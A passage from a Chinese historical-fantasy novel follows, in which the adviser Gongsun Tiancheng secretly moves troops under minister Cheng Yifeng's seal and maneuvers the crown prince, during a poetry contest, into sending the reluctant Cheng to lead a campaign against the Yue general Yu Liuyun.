公孙天成道:“大人别着急,老朽不是说要不顾一切地杀过大青河去,也不做那灭亡樾国的大梦。我的意思是,假如玉旒云当真只有三万人,趁着她还没有进一步的行动,让司马将军迅速杀过大青河将其歼灭,也是不错的选择——大人请想,樾国庆澜皇帝登基以来,南征北战,虽然是战无不胜攻无不克,但是对国家社稷来说,劳民伤财,危害大矣。估计他这一年时间,已经把他父兄在位时轻徭薄赋积攒下来的银子全都花光了,老百姓也快要不堪后勤徭役之苦。他们如果能一鼓作气荡平天下,然后慢慢修养生息,也许军民都还能咬牙做最后的坚持。但是若此时忽然被人来个迎头痛击,灭了他们的威风之外,他们短期之内也不可能恢复。如此一来,我国就可以逼迫樾帝签订盟约,老百姓岂不是会有长久的安稳日子过了?总好过现在天天担心樾寇渡河吧?” 程亦风对道:“这……如果是在我国境内,据大青河之险防守,肯定不惧樾军。但是过河去交战,天险已失,就成了正面比拼——玉旒云上次在落雁谷正面战场能以少胜多,这次我们能有胜算吗?打仗也要讲天时、地利、人和嘛。现在寒冬腊月,行军多有不便,要渡河去作战,又谈何容易。再说,主战派的几个将军相互钩心斗角,哪里来的人和?” 公孙天成笑道:“大人如果真要说天时、地利、人和,老朽觉得我方的优势比樾军大得多了。论天时,如果在冬末春初交战,我国暖而樾国寒,我国可用运河将粮草运到大青河边与樾一战,而樾国运河上冻,难以从国库调粮南下;论地利,正如大人所说,大青河要塞全部背山面水,易守难攻,除非身有双翅,否则樾寇决无法飞渡来攻,而樾国与我相对的石坪城和锁月城,一个建在离水甚远的苍岭山脚,面对平原,攻城之人可在平原上扎营进攻,一个在麒麟山的峭壁之侧,虽然险峻难攻,却也不能驻扎太多的守军,储备过多的粮草,一旦被围城,时日久了,可不攻自破;论人和——这就更没得比了,樾人才三万,而司马非将军手中有多少人马?玉旒云初出茅庐,而司马非将军又有多少经验?虽然几位将军在钩心斗角,但是正好如今冷千山一党全都回到了京城,无法跟司马将军作对,岂不是老天要帮大人你吗?” “这……这……”程亦风狠命挠头,本来就不怎么整齐的发髻被抓得像鸟窝似的:“自古争战,最忌讳师出无名。如果是樾寇攻来,我军还击,自然无话可说。但我军主动侵略他国,实在也……难封悠悠众口啊!” 公孙天成摇摇头:“大人还记得你我初次相见时,老朽送你的打油诗么?” “搅屎棍虽臭气冲,他朝威力或无穷?”程亦风正被冷千山等人搞得一头恼火,登时脱口而出这一句。 公孙天成笑道:“就是这一句。大人竟然还记得,老朽不胜荣幸。不过大人知道这句话的深意么?” “这深意思……”程亦风固然知道“搅屎棍”的所指,但是“他朝威力或无穷”却从来也没有注意过,听公孙天成问,一时怔住。 “搅屎棍虽臭气冲,他朝威力或无穷。莫道今日只黄白,谁家无肥可耕种?”公孙天成吟道,“大人莫看主战派的那些人成天怂恿那个姓崔的女子率领一群百姓四处演说,实际上,是已经把驱逐樾寇,保家卫国的信念深深地种到每一个人的心里。今年夏、秋收成甚好,无论是东南的鱼米之乡还是西部相对贫瘠的山区高原,大部分百姓交了官粮后,还有不少余粮可吃过明年的。百姓粮仓储备丰实,房屋修葺一新,哪个愿意拱手让给樾人?与其等着樾人杀来,咱们被动挨打,还不如先发制人——这就是现在百姓们的想法呀。大人在这种情况下,还惧怕什么悠悠众口?” 程亦风低着头,只是不愿往公孙天成的建议上想。 “大人!”外头小莫探进头来——自鹿鸣山之后,他已经做了程亦风的亲随。 “何事?”程亦风正不知如何同公孙天成继续谈下去,所喜得了这个救星。 小莫道:“臧大人来了,想和大人商量节俭过年的提案呢。” “节俭过年?”公孙天成莫名其妙。 程亦风道:“是。宫里的旧俗,从祭灶日开始,要连续举行宴会,直到元宵节为止,实在铺张浪费。臧兄和我打算向太子建议,废止宴乐,节约内帑……可以用来增强防务嘛……” 公孙天成知道程亦风是有心逃避,微微叹了口气:“既然大人有要事,那这边的杂务还是老朽来帮你处理吧——是不是先稳住司马将军呢?” “对!烦先生帮我写一封信去稳住他。”程亦风道,“还有冷千山一党的那一堆弹劾折子,先生高才,也一定能帮程某答辩吧?我的官印就是这里,先生帮我一手处理,感激不尽!”说着,一揖到地。 公孙天成摇头:“大人连官印都能随便交给别人的,这……”他还没说完,程亦风已经出门去了。 在军国大事上使用“拖字诀”是十分糟糕的,程亦风很清楚。虽然他几次想把自己的心思扭转过来,强打精神要去和公孙天成好好商量一下应对之策,但是每次又都被自己的惰性打败了,只要一天大青河那边不传出樾军进攻的消息,他就能一天存着侥幸——也许,拖到第二年秋闱时选出一批人才来,可以接替自己的位子也说不定。 当然,这个想法太可笑。他只期望太平一天是一天,或许开春自后,老百姓忙着耕种,就没功夫和崔抱月四处演说请愿,而那时樾国也开始春耕,青黄不接,樾军便不太可能南下了。 带着逃避的心态,抱着美好的妄想,他和臧天任把心思都花在了“节俭过年”上——但这事办得可谓失败之极。虽然竣熙与他们一拍即合,宣布废除宴乐,但是元酆帝自己有自己的一套,带着丽、殊二位贵妃逍遥如常,每天都和过年一样。其他的亲贵长辈们则认为竣熙蔑视祖宗之法,十二万分的不可取,一齐进言反对。于是,好好的喜庆成了一锅稀粥。竣熙最后不得不妥协,从正月初五开始恢复宴会。 亲贵们就好像几辈子没有吃喝一样,非得在这几天之中补偿回来,于是变本加厉地行乐。这十天所花销的内帑比往年二十天花费的还多。因此一些原本也支持勤俭的官员见了,纷纷埋怨程亦风、臧天任办事不力。程、臧二人真是有苦说不清。 到了正月十六,节就算是过完了。不过竣熙给程亦风下了帖子,说邀请他到东宫赏报春花并饮酒作诗,以这个小小的“家宴”来感谢他过去一年对自己的指点,并希望来年朝会上继续得到他的辅佐。 程亦风感觉,这决不是“谢师”这么简单,因为自己没有太傅的头衔,跟竣熙的私交也不深——尤其,当他看到帖子上附带把公孙天成和臧天任两位都请上了,就猜测大概是这位好心的少年想就“勤俭过年”半途而废之事道歉吧。因跟臧天任说了。后者道:“冰冻三尺非一日之寒,这事怎么能怪太子殿下呢?” 公孙天成道:“老朽却以为不是道歉——否则把老朽附带上作什么?二位大人的‘勤俭过年’,可跟我没有什么关系啊!” “那或许还真是家宴了。”程亦风道,“我倒也早想向太子殿下为先生求个一官半职,这次倒是个好机会。” 公孙天成道:“大人有此心,老朽感激得很。不过老朽已经决心白衣终老,这事不提也罢——况且,依我看,这也不是饮酒作诗的家宴,而是请大人去唱戏呢!老朽是太子找去跑龙套的。” “唱什么戏?”程亦风不解。 公孙天成笑道:“去看了就知。” 三人因一起到东宫来。 这年南国是暖冻,未下一片雪,才正月,报春花已开得一丛一丛,远远看去黄灿灿祥云一般煞是可爱,果然让人忍不住想要写诗吟咏一番。不过,诗情才起,却看到冷千山、向垂杨、董鹏枭和鲁崇明四人像是市井里牢不可分的泼皮帮派一般并肩而来,程亦风的全部兴致便被打消。 “看,太子殿下是请大人来唱《将相和》的呢。”公孙天成在一边轻声笑着说。 “真亏先生还笑得出来!”程亦风几乎跺脚道,“这可如何是好?” “既然是太子好心安排,大人怎么能不唱呢?”公孙天成道,“大人放心,不是还有老朽这个跑龙套的在么?他们弹劾大人的那些折子都是老朽答辩的,回头自有老朽应付他们。” “多谢,多谢!”程亦风如蒙大赦,眼见着冷千山一行气势汹汹朝自己这边来了,四下里一望,看到竣熙正在花丛中和馘国的景康帝说话,就赶紧拔脚跑过去和二人问好,以为掩饰。 景康帝自从来到了楚国就过着寄人篱下的苦闷生活,宫廷上下虽然还把他称作“陛下“,但是除了落雁谷一同逃生的几个亲兵之外没人把他当成一国之君。程亦风算是同他共过患难的,见面自然欢喜:“程大人高升,我还一直没有机会道贺。恭喜。” “他高升自然是应该向他道喜!”冷千山冷人已经撵了上来,“不过对百姓来说就不知是喜是忧了!” 竣熙的本意是要做和事老,当然不能容他们继续说下去,赶忙打岔:“今天我们只谈风月,不论经济——军国大事,都留到明天朝会上去。违者要罚酒。来,大家先来赏花作诗!” 冷千山当然不怕罚酒,却不想扫太子的面子,就扭头看看他的党羽们有何见解。只是,他们这边厢还未决策,那边竣熙请来劝驾的几个官员已纷纷开始尽责地缓和气氛了——搜肠刮肚找些古今吟颂报春花的诗文,什么“金英翠萼带春寒,黄色花中有几般”,“覆阑纤弱绿条长,带雪冲寒折嫩黄”……文官生搬硬套,武官绞尽脑汁,如八仙过海,各显神通。 程亦风本来有些诗瘾,被他们这一勾,也把冷千山一伙人给抛开,插嘴道:“要说写报春花,当推乐天诗为上——‘幸与松筠相近栽,不随桃李一时开。杏园岂敢妨君去,未有花时且看来。’真是写活了报春花的姿态,又道尽了报春花的气节。” 看样子可以打开话题了,立刻有人随声附和:“其实‘覆阑纤弱绿条长,带雪冲寒折嫩黄’的后两句也是好的,‘迎得春来非自足,百花千卉共芬芳’,不过气节虽说得准,言语未免太直白了。” “那却不一定!”有人不赞同,“直白方显古雅,和乐天诗不相上下。” 他们这样煞有介事地议论诗文,让冷千山等不由面面相觑:敢情太子是有心维护程亦风么? “既然诸位卿家诗性正高,不如我们就开始即席作诗好了。”竣熙道,“众人一起评出三甲,可帽簪报春花以示荣耀,如何?” 程亦风早就“技痒”,而别的官员又是竣熙请来帮忙做戏的,岂有不赞成之理。冷千山等人则是一发肯定自己是被程亦风和太子合伙算计了,恨得牙痒痒。 “殿下!”公孙天成在这个时候开口了,“草民以为,既然要比赛作诗,光是簪花恐怕不能激起大家的斗志来,应该换个奖励才好。” “哦?”竣熙道,“先生以为换什么好?” 公孙天成道:“草民斗胆,不如谁夺魁,就想太子殿下提出一个心愿,倘殿下能达成的,就准了,如何?” “这倒新鲜。”竣熙道,“万一我做不到呢?能不能重新提?” “当然不能。”公孙天成道,“此事若连太子都做不到,恐怕也没有人做到。那么提出这心愿的人就是个傻瓜了——自己痴人说梦,白白浪费了一个愿望呢!” “就好像是一场赌博?”景康帝道,“真有意思!” “这哪是公平的赌局?”冷千山道,“微臣斗胆——假如一件事是殿下做得到却不愿做的,又当如何?” “这……”竣熙望望公孙天成。 老先生微微一笑,道:“明知别人不愿做还要提出来,不也是很愚蠢的事么?不过,如果明知别人可能不愿做,却能想方设法巧妙地说得别人愿意做,那又另当别论。” 大家都被他绕得有点儿晕头转向,但很快又纷纷反应了过来:这岂不是帮竣熙解决冷千山和程亦风矛盾的最好方法么?如果程亦风胜了,自然一切好说。如果冷千山胜了,竣熙则可以拒绝他的要求……一方面佩服公孙天成的才智,一方面也感激他帮助自己,程亦风当即拊掌赞成。其他竣熙请来一同劝架的官员也都说好。冷千山一党虽然满肚子恼火,也不能发作,只有先赞同了,再走一步看一步。 竣熙当即叫太监摆设文房四宝,自己抓就拈了“十灰”韵,又亲自点起一柱香来计时。冬宫花园一时成了贡院考场。 程亦风不久就得着了,修改润色了一回,誊写清楚,香才烧一半。不久臧天任也写好了,文官们跟着陆陆续续放下了笔,武官则大眼瞪小眼好不痛苦。“殿下!”冷千山道,“让臣等跟这些学士们比写诗,就好像是要他们跟臣等一比一较量武功一样,不公平。能不能让咱们这些武夫集思广益?” 竣熙原意就是化干戈为玉帛,无谓增加双方的摩擦,看程亦风这边似乎也不反对,就点头答应——冷千山等人立即聚到一块儿,你一言,我一语,把“十灰”韵找了个遍,终于凑成一首,香都烧得差不多只剩一撮灰了。这时,之前一直空白着卷子赏花的公孙天成也提起笔来一挥而就。 竣熙让大家把卷子传上,他先看一遍,再念出来一同评判优劣高下。 劝架的官员们都是来应景的,所以作品差强人意,看得竣熙大摇其头,直读到臧天任的文时,才微微有了笑意,道:“迎得春光先到来,严寒尽处伴梅开。待到百花烂漫时,此身甘愿归尘埃——臧大人这首虽平淡无奇却在字里行间凝着一股忠贞之气,实在叫人敬佩。” 臧天任连忙低头谦让。 再接着看下去,乃是冷千山等人合作的卷子,写:“黄花粲粲一树开,疑是仙人梦里栽。我问黄花向谁颜?原为金龙乘云来。”竣熙一望就知最后一句是官员们作诗时喜爱用的套路,不管三七二十一,都要扯到皇帝身上,要歌功颂德。现在元鄷帝并不在场,这句话用得非但恶俗,而且大不敬。 冷千山等人却不知马屁拍到了马腿上,只是讪笑着,道:“臣等都是武夫,又是几个人凑起来的,难免有不通顺的地方了。” 竣熙不愿节外生枝,强笑了笑,道:“几位将军何必过谦,并没有不通顺的呢。简洁上口,很不错。”这是好不容易挤出来的夸赞之词,实在没有心思编造旁的点评,赶紧将卷子放到一边去了。 冷千山等不是傻瓜,晓得竣熙对这诗的评价不甚高,党羽们相互看了一眼,暗道:反正太子是存心要帮程亦风的,且看他们那边赢了会提什么要求。总归兵来将挡,水来土掩! 又翻了不几篇就到了程亦风的,云道:“梅未谢去君又来,灼灼粲粲映苍苔。问花哪得芳如许?不傍春风暖处开。”竣熙看罢,拍案叫好:“今日总算领教了程大人的文采,古朴自然,更清新上口——这‘不傍春风暖处开’一句真是绝了,仿佛百花皆俗不可耐,报春花不屑与其为伍一般。” 程亦风微笑着谦让。 竣熙道:“我看程大人此诗多半是今日榜首之作了,你有什么愿望,快想好。” 程亦风虽自信风花雪月的本事远在旁人之上,但也不敢张扬放肆:“还是请殿下看完了所有的卷子再作定夺不迟,或许还有高人呢?”他说着,心里又想:我能有什么愿望?若不是身在庙堂,若不是那拖着没解决的军国大事,我又如何会跟冷千山这种人混在一处?我该早寻着一个心仪的好女子,小桥流水,男耕女织去了——唉,那个女子!不知姓名的女子,现在她如何了呢? 竣熙继续看下去。几页之后,读到公孙天成的:“无语默默倚闲台,一生襟抱向谁开?人都笑我求春苦,不知我是报春来。”这下,竣熙“哎呀”了一声,惊道:“公孙先生,我只听程大人说你上知天文下知地理,没想到你的诗文也不同凡响。程大人的诗情景交溶,从平处起,一句高似一句,末尾点睛,发人深省。而公孙先生的诗无一句写景,但报春花能跃然纸上,更句句奇崛,句句蕴涵深意,实在是……先生高才,我妄加点评倒辱没先生的文章了。”言语中意思明显:公孙天成是今日的榜首了。 程亦风有些惊讶,但这也原在他的意料之中,输给公孙天成,他是心服口服的,唯暗叹了一句:我程某人自负虽不是治世良材,但可做风流才子,便此一条也被人比了下去。也罢,诗文本是兴之所至,更是兴之所达,何必计较高下呢? 以下的众议没什么争论,太子开了金口,大家都只是赞同而已。太监摘了三枝报春花给三甲之人,竣熙亲自给他们簪于冠上。冷千山似笑非笑地开口:“公孙先生快把愿望说出来听听吧,我们都好奇得很呢!” 公孙天成微微而笑:“老朽的愿望嘛……” 才说了这一句,忽有一名禁军急匆匆闯了进来,跪也没跪稳就道:“太子殿下,兵部有北境的消息,玉旒云突然向石坪调集了大批兵马,似乎是准备攻过大青河来了。” 此言一出,席间顷刻鸦雀无声,但转瞬又炸开了锅:樾军打算进攻了,当攻,当守?会不会重演十五年前的那一幕?凉城若被攻破,大家要往哪里撤退? 竣熙被这慌乱扰得完全没了主意,看向他的新任兵部尚书程亦风以及冷千山等一干将军以寻求帮助。而这时,公孙天成淡淡道:“殿下不必惊慌。玉旒云只不过是一个乳臭未干的黄毛丫头,她的那点儿计谋,程大人早就料得一清二楚了。” “什么?”听到这话,大家比方才更加惊讶,全都看向了程亦风。而程亦风自己则是惊呆了,瞪着公孙天成。老先生面色淡然,道:“程大人知道玉旒云带三万人到南方七郡,必然图谋不轨,所以早就调集了兵队加强平崖的防守。不仅这两座边防要塞有重兵防护,从那以南,也布下了数道防线。樾军倘若过河,只会有来无回。” “果……果真?”竣熙惊喜万分。 “不要在太子面前信口雌黄 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“从揽江城调我的人?”冷千山拍案而起,“程亦风,你好大的胆子!”先骂出这一句,才发现公孙天成早已强调了,程亦风是兵部尚书,要怎么调兵是他的权力,于是只有转了转眼珠子,另想他法。正巧公孙天成的地图已经画好了,从图上可见樾楚两国在大青河上各有险关,由上游到下游,楚境之内为雪雍关、大堰关、平崖城、远平城、揽江城,以及镇海关,与之相对,樾国境内有天塔城、依阕关、石坪城、锁月城、神女关,以及目前还在郑国境内的蓬莱城,要塞两两相对,仿佛亘古以来就隔河对峙。冷千山登时有了新的说法:“你把揽江的兵调到了别处,你就不怕樾军从揽江对面的神女关攻过来么?” “神女关原是铴国领地,”公孙天成道,“樾军占领铴国还不到一年的时间,驻扎在那里的军队都是为了防止变乱,哪有闲功夫来渡河攻打揽江?” “那……大堰关呢?”冷千山道,“大堰关离平崖比揽江近,为什么不从大堰关调兵?对面的依阕关原是馘国领地,占领下来才半年时间。馘国境内驻扎着的岑广以谨小慎微而出名,这时候他一来怕人造反,二来怕冰天雪地无法运输粮草,也应该不会选择出依阙关渡河攻打我国吧?大堰关的兵马暂时调出来,也不会出什么大问题——为什么程大人偏偏要调我揽江城的兵?是存心跟我过不去么?” 公孙天成面无表情:“樾人乃是出身大漠的野蛮部族,他们最擅长干什么?就是烧杀抢掠——野蛮部族都称为‘打草谷’,其实就是杀了人、抢了东西,却不占领别人的地盘。冬天依阙关和大堰关之间的河面上了冻,要过河来时何等的简单?倘若把大堰关的兵马调走,不就等于打开大门,请对面的樾人前来抢劫么?” “这……”冷千山一时被堵得说不出话来。倒是鲁崇明不计较他先前企图怂恿别人调动自己的军队,出来解围道:“不论怎样,程大人调动我们的部下,却不跟我们交待一声,实在也太没有把我们几个将军放在眼里了吧?大人如此待我们,将来还怎样共事?” “你们几位几时想跟我共事了?”程亦风嘀咕了一句,立刻又后悔。但是已被公孙天成听了去,道:“几位将军未奉军令就擅自离开驻地回到京城。你们已经擅离职守,程大人自然就当你们是放弃了兵权。他如何调动军队,何须知会你们?” “好,我们在程大人眼里都是一文不值!”冷千山发了狠,将计就计,“那就把我们大批治了渎职之罪罢免了干净。程大人自己率领兵队抗击樾寇吧!”说着拂袖便要离席。而鲁崇明等人也都跟着他站起身来。 “啊……这……”程亦风急了,看着公孙天成:你把这些将领都气跑了,难不成还真要靠我来打仗?你晓得前线光有司马非一人是不够的啊! 竣熙也赶忙挽留:“几位将军都是国家柱石,千万不可说这样的话……” “殿下,”公孙天成好整以暇,“既然几位将军还没有休息够,何必勉强把他们推上战场呢?其实程大人早就和司马将军把一切都安排好了。程大人正要自己亲自去前线指挥呢。” “果真?”竣熙完全不知程亦风的斤两,只对这个人有笼统的崇拜。他身边坐着的景康帝却亏得程亦风才从落雁谷逃出一条命来,对程亦风“用兵之道”佩服之至。加上这位亡国皇帝被玉旒云“驱逐”出了自己的国家,所以视其为最大的仇人,恨不得能有机会亲手杀之,听到楚军要再次和樾军对决,且对手还是玉旒云,早就按捺不住了,“倏”地站起来,道:“正是,程大人虽然是文官,但是精通兵法,运筹帷幄、决胜千里。有他出战,一定能将玉旒云的部队歼灭!” “果然?”竣熙也有些信了。 “我……”程亦风急得不知说什么才好,只恨地上不能突然裂一条缝好让他钻下去逃走。他转脸瞪着公孙天成。 老先生拈着胡须似乎微微而笑:“其实,老朽方才要说的那个愿望就是希望太子殿下能让程大人代殿下亲征。程大人在落雁谷已经能够斩杀樾国的老将赵临川,如今对付玉旒云这初出茅庐的小丫头,必然易如反掌。由程大人亲自前往指挥,樾军还未交战,士气就短了三分,岂不对我军大大的有利么?再者,若他代太子殿下亲征,我军士气更高,一定可以一举击溃樾寇。” “等……等等……”程亦风暗想再不阻止公孙天成的疯话,自己就真要上前线去了。 可惜,他出声时已经太迟了。竣熙拊掌道:“好,臧大人你是翰林院的人,请即刻帮我拟旨,由兵部尚书程亦风代我挂帅亲征。赐他帅旗一面,宝剑一把,地位同于大元帅,此次北伐之战全军将士统一听他号令!” “殿下——”程亦风简直要哭出来了。 臧天任也发觉情形有点不对,迟疑着不肯落笔。 冷千山却冷笑道:“程大人用兵如神,我们也想好好见识见识。来,臧大人不介意的话,冷某人代你写吧?也算我为这次北伐出一份力呢!” “我……”程亦风豁出去了,再不说出真相更待何时? “大人——”公孙天成按住了他的肩膀,在他耳边道,“戏已经唱到这份上,大人千万不要塌自己的台。大人是想把老朽治个欺君之罪么?” 程亦风一愣,也低声焦急道:“先生既然知道厉害,为什么还……打仗是大事,怎么能信口开河?” 公孙天成微笑道:“老朽没有信口开河。大人请耐心把这折戏唱完。老朽稍后自有解释。假若大人那时不满老朽的解释,再向太子说出一切,将老朽治罪不迟。” “可是……”程亦风进退两难。 这当儿,冷千山已经把发兵的圣旨写好了,一边交给竣熙过目,一边讽刺地对程亦风低声道:“打肿自己的脸的确可以充胖子,能不能充英雄就不知道了。我们几个就在京城等着,如果大人凯旋,我们自然迎接你,如果大人……嘿嘿,要我们去收拾残局,我们也不会有门户之见的。” 可恶!程亦风满心厌恶:虽然我是手无缚鸡之力的书生,但是也知道国难当头,人人要出一分力。倘我真的有本事领兵,一定为北伐尽绵薄之力。你们这些将军,竟然为了党争置社稷安危于不顾,你们还配立身朝堂么?一时激愤,他还以冷笑:“多谢冷将军关心。程某既然是代太子殿下亲征,定当竭尽全力,不辱使命!” 诗会的风花雪月瞬间消失。程亦风从东宫直奔兵部做“代驾亲征”的准备。途中自然少不了请教公孙天成北线兵队集结究竟是怎么一回事。公孙天成却说这还不是说话之时,也非说话之地,直到傍晚他们从兵部回到了程府,老先生才“扑通”一下朝程亦风跪倒:“大人,老朽请大人无论如何要信任老朽一次。” 程亦风吓得连忙双手来扶,几乎自己也跪下了:“先生这岂不是折杀晚生了么?晚生若不信先生,何必请先生出山?” “果真?”公孙天成深深地看了程亦风一眼,见后者面色诚恳,便道:“平崖的军队是老朽以大人的名义从揽江调来的。”接着就将事情一五一十地说出来——原来那日程亦风将兵部尚书的官印交给他让代为打发司马非。老先生的确“打发”了,却不是按照程亦风所想象的那样。正相反,他以程亦风的名义回信决议积极防守,同时签署了从揽江调兵的密令,趁着冷千山忙于在京城闹事,将他的部队调到了平崖。 程亦风瞪着眼张着嘴:一时竟不知怎么反应才好。 小莫正好迎出来,听见了,便道:“公孙先生,小人虽然什么都不是,也斗胆要说一句——程大人敬重您,我也佩服您,可是您这样做,未免也太……太那个啥了吧!您不是把大人当猴儿耍了么!” “小莫!”程亦风阻止这个少年继续口没遮拦。“公孙先生,”他困惑且痛苦地道,“这样向平崖调集大批人马,不就等于是向河对岸的玉旒云挑衅么?她就算原本是来治蝗的,看到我方调兵遣将也要集结人马准备大战一场了吧?先生这样做到底是为了什么?” “大人也会说‘她就算是来治蝗的’——可见你也知道她的目的根本就是侵略我国。”公孙天成一针见血,“既然如此,大人为什么不肯主动出击——至少主动防备,偏偏要等到被动挨打时,才匆忙应付?老朽之前已经跟大人陈述厉害,可是大人只想稳住局面,拖一日是一日,老朽不得已出此下策,逼大人和樾寇决一死战。” “为什么非要决一死战?”程亦风急得在原地直打转,也许可以这样……也许可以那样……他心里想出无数地托词,但是知道没有一条在公孙天成面前站得住脚的。早在腊月里,人家就已经把天时、地利、人和分析得一清二楚。自己若冷静地思考,将不得不赞同公孙天成的每一条论述,可是有时候,有些话,明知道规劝得在理,但依然不愿意听从,而另外一些事情明知道是自己固执,却还要坚持。不过,现在已经惹得玉旒云重兵压境,太子开了金口,兵部那边的手续也办妥了,他已经骑虎难下! 唉!正叹气,却不小心绊在了砖缝里,打个趔趄便摔倒下去,乌纱滴溜溜飞出几尺远。小莫连忙拣了递还给他。而程亦风只是一边揉着腿一边摇手推拒那官帽:“挑起了战火,不知会有多少士兵和百姓无辜惨死……我何颜以对天下?” “老弟!”传来了臧天任的声音,“容老哥哥岔两句——”他其实是宴会散后就到程亦风家里来等着了,想看看老友几时起程,自己也好饯行。因为程亦风迟迟未回,所以他一直等在书房里,听到了这边的声音才走出来,正好了解了事情的来龙去脉。 “方才在书房里看到你写的条幅——‘勇夫识义,智者怀仁’,这八个字写的实在是好,方正饱满遒劲有力。老弟你素爱行草,这样的大字楷书还真是难见呢!”臧天任道,“如果愚兄没有记错,这是老弟你回京到兵部上任时写的吧?” 这话不着边际,程亦风困惑地点了点头。 臧天任道:“勇夫识义,智者怀仁。老弟既写这八个字,必然是想以之鞭策自己。我辈读圣贤之书,自然最看中‘仁义’,不过你万万不可忘记,这八个字并非‘莽夫义气,妇人之仁’。你怜惜百姓,常说‘攘外必先安内’。但时局不断变化,每一种局面下最行之有效的‘怜爱’百姓之发也因随之而变化。落雁谷之役刚结束时,我军士气低落,国内百姓也怨声载道,奖励耕织,修养生息,是上上之策。至于现今,既然‘内’已‘安’,何不‘攘外’?岂不知樾人有心吞食天下,战乱躲得了初一,躲不了十五?是等人打上门来了再抵抗,还是先发制人将鹫鹰扼杀在羽翼未丰时,哪一种更利于国家的长治久安,你岂权衡不出?若能以今日一战震慑樾寇,换来十年哪怕仅仅一年的安宁,岂不强过苟安一个月或者最多两个月?” 程亦风万没有想到好友竟然站在公孙天成一边,懊丧地抱怨道:“是,现在已经到了这个地步,还由得我说不打仗么?总归这一次血流成河,我程亦风是逃不了这千古骂名了!” “我正是要和你说说这个骂名!”臧天任道,“你我二人相交多年,你的想法老哥哥还能不了解么?在你看来,虽然伤亡少比伤亡多好,但没有伤亡那才是最好——且不论这是否可能,老哥哥提一句,你扪心自问——你常指责冷千山他们为了自己多立战功置百姓生计于不顾,但你自己一味地计较自己‘何颜以对天下’,难道不是为了自己的名誉而置国家安危于不顾么?” 难道一直以来自己竟存着如此私心?一字一句,都像小锤子一样重重敲在程亦风的心里。不,不可能!他决没有这样的想法!“臧兄!”他激动道,“我过去是个流连于花街柳巷的书生,将来老了,也不过是个采菊东篱的农夫,虚名对我有何用?我是否‘愧对天下’,其实是看是否愧对自己的良心。” “虽然,”臧天任看了公孙天成一眼,“公孙先生用这样的手腕逼你出兵实在也有些过分。但是,你抗击樾寇哪里违背良心了?” “我……”程亦风知道自己无论如何找不出什么站得住脚的理由。 “其实,”小莫在一边插嘴,“大人如果真的不想打仗,依小的看只要搬个十万大军到平崖驻扎着,或者就把玉旒云吓破了胆,不战而退了呢……不是正好可以议和……” “啊……这个主意也……”程亦风立刻有些心动,看向公孙天成和臧天任寻求意见。 臧天任面上有些又好气又好笑的表情:“玉旒云会被吓破胆么?老弟你不是常说落雁谷之战,你是被她吓跑的?那时她才有多少人马?” 这……程亦风摇头苦笑:自己就是这么个孱头! 才想叹气,那边公孙天成却已经一揖到地:“大人,老朽知道自己用了阴险的手段逼迫大人,不过此一战的利弊相信大人也权衡得出。大人不必担心前线指挥,老朽虽不敢说成竹在胸,但自信可以最小伤亡夺取此战之胜利。老朽愿给大人立下军令状,若伤亡超过两千人,则老朽把项上人头交给大人。” 两千人!程亦风觉得这已经是一个很大的数目,不过,他还有别的选择么?“先生快快请起!”他扶着公孙天成,“晚生若不得先生相助,慢说两千,就是两万人也会葬身在樾寇的屠刀之下!国家前途,百姓生计就靠先生了!” “老朽一定不负大人所托。”公孙天成再次顿首。 程亦风笑笑,想:罢了,此一去,看来他迟早是要一死以谢天下的! 早知现在,何必当初? 12. 第 12 章 程亦风赶赴平崖。虽然不需要从京城带兵前去,但是毕竟他是代太子亲征,所以还是有一支千人的精兵随行。冷千山等都来相送,心里当然是巴不得他阵亡——最好途中就摔死。不过程亦风却无暇和他们口角,即便对自己破罐子破摔,对朝廷和后方的百姓,他却不能有丝毫的敷衍。因此昼夜兼程,且无时无刻不在担心着平崖的局势。居然只用了半个月的功夫就来到了目的地。 经过如此的颠簸,他出现在司马非面前的时候何止“风尘仆仆”,简直可以说是“蓬头垢面”。平崖的将士大多没有见过这位新任尚书大人,唯对他的各种掌故听说了不少,这时看到的,有的以为逸闻里说的一点儿也不错,有的则认为传奇中英雄形象完全被毁灭——无论是前者还是后者,大家都忍不住偷偷笑了起来。 程亦风坐马车坐得双脚都麻木了,一瘸一拐地到了司马非面前,胡乱见了礼,就道:“怎样?司马将军,河对岸的情形……” 司马非看他那狼狈相,哈哈大笑:“程大人你可真是文武百官的表率——你赶路赶得这么急,莫非是想大家看看什么叫鞠躬尽瘁么?对岸嘛……自然是老样子。” 老样子,那就是说还没打起来了,程亦风松了一口气。司马非做了个“请”的动作,示意他和自己去查看敌情。程亦风便顾不得腰酸腿疼,和他一起登上临着大青河的城楼。 与天江四季奔腾怒吼不同,大青河冬、春为枯水季节,河面变得只有夏季一半宽,水位降低,河底的大礁石都微微露出了水面,小礁石则参差不齐地矗立在河底,一不留神就能戳穿船底,是以大青河行船在此两季为最险。 在这样的季节,大军以兵舰渡河无疑是自寻死路。 程亦风盯着对岸的石坪城,距离水边有很长的一段距离,从这么远看过去,只能模糊地辨认出城上的旗帜,一面是“樾”字大旗,另一面是守将的旗帜,看来看去不像是“玉”字。他心里嘀咕:虽说石坪城上插着原本守将的旗子并不奇怪,但是玉旒云贵为将军又是皇亲,没道理她人在石坪却不打出旗号来的呀! 才纳闷,司马非已笑道:“程大人,嘿嘿,你这书呆子还有些本事嘛,居然想到用这样的招式,从背后打了冷千山那帮混帐一人一棍。实在是高明啊,我也不得不佩服!”说时,拱了拱手。 “将军不要误会。”程亦风正色道,“程某其实……”其实不是想来和你拉帮结派,不是想帮你铲除异己,不是想帮你在朝廷中争名夺利……好多话几乎冲口而出,但又忍住:司马非是前线唯一个将领,如果和他闹翻,不知怎么抵抗樾寇。 司马非哈哈笑道:“年轻人,你们书呆子的那些脾气我清楚得很!你们不就是喜欢扮清高么?你忌讳别人说‘朋党’,那我不说就是。其实大家互利互惠便好——当初我保你,现在你来帮我,但实际也是帮你自己嘛,何必在乎别人怎么看?不过,你不喜欢,那咱们就不必挂在嘴边。哈哈,好吧,说说正事——这份大功劳你打算如何争来?” 什么大功劳?程亦风莫名其妙。 司马非还以为他要卖关子,有点不快,道:“年轻人还是不要三分颜色开染坊。两军对阵关系国家存亡,还是大家事先参详参详的好。” “程大人!”这是公孙天成忽然也出现在了城楼上,对司马飞也一礼,“崔抱月崔女侠率领民兵乡勇,已经等着程大人。” “崔抱月?”程亦风和司马非都是一愣。后者瞪着前者道:“前线重地,你把一个女人和一群乌合之众找来做什么?” “司马将军此言差矣!”公孙天成道,“崔女侠是太后金口称赞的巾帼英雄。她的民兵也已经训练了数月——据老朽所知,朝廷有时征了兵,都是来不及训练就派上战场去的。那朝廷的兵队莫非也是乌合之众?” 